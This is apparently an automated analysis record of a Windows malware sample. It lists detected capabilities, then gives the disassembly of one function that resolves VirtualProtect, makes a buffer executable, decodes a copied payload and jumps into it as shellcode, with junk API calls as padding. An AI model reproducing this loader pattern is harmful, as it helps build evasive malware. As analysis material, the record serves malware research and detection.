Function at 0x401439
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size

Disassembly:
mov eax, 0x4235d9
call fcn.0042248c
sub esp, 0x434
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x401467
inc esi
cmp esi, 0x67d12
jl 0x401450
cmp dword [0x208f6fc], 0x93
jne 0x401500
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x40], bl
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.00401e08
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x10], 0x4261cc
call fcn.00401bbf
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.00401c1b
push ebx
call fcn.00401ebf
pop ecx
push ebx
call fcn.00402151
mov eax, dword [0x44293c]
add dword [0x208f6fc], 0x1134b
push str.kernel32.dll
mov dword [0x2090538], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push eax
mov dword [0x208f18c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x208f6fc]
mov dword [0x208f180], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push dword [0x208f6fc]
mov dword [0x208f188], eax
push eax
call dword [0x208f180]
mov esi, dword [sym.imp.USER32.dll_CharUpperBuffA]
mov edi, 0x1692e
push ebx
lea eax, [ebp - 0x440]
push eax
call esi
call dword [sym.imp.USER32.dll_GetMessageTime]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x401565
mov eax, dword [0x208f6fc]
cmp eax, ebx
jbe 0x4015de
mov eax, dword [0x2090538]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x208f188]
mov byte [ecx + edi], al
mov eax, dword [0x208f6fc]
cmp eax, 0x490
jne 0x4015d9
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov eax, dword [0x208f6fc]
inc edi
cmp edi, eax
jb 0x401588
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0x8d
jne 0x40160b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push ebx
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebx
push ebx
call esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_Module32NextW]
mov eax, dword [0x208f6fc]
inc edi
cmp edi, 0x38681
jl 0x4015e0
mov ecx, dword [0x208f188]
shr eax, 3
cmp eax, ebx
jbe 0x401631
mov esi, ecx
mov edi, eax
push esi
call fcn.00401034
add esi, 8
dec edi
jne 0x401625
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x401652
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0x5f66
mov eax, dword [ebp - 0x10]
add dword [0x208f188], eax
inc esi
cmp esi, 0x674bd
jl 0x401633
push 0x7b
pop esi
cmp dword [0x208f6fc], 0x86
jne 0x401694
push ebx
call dword [sym.imp.KERNEL32.dll_HeapLock]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthW]
dec esi
jne 0x40165e
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x208f188]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret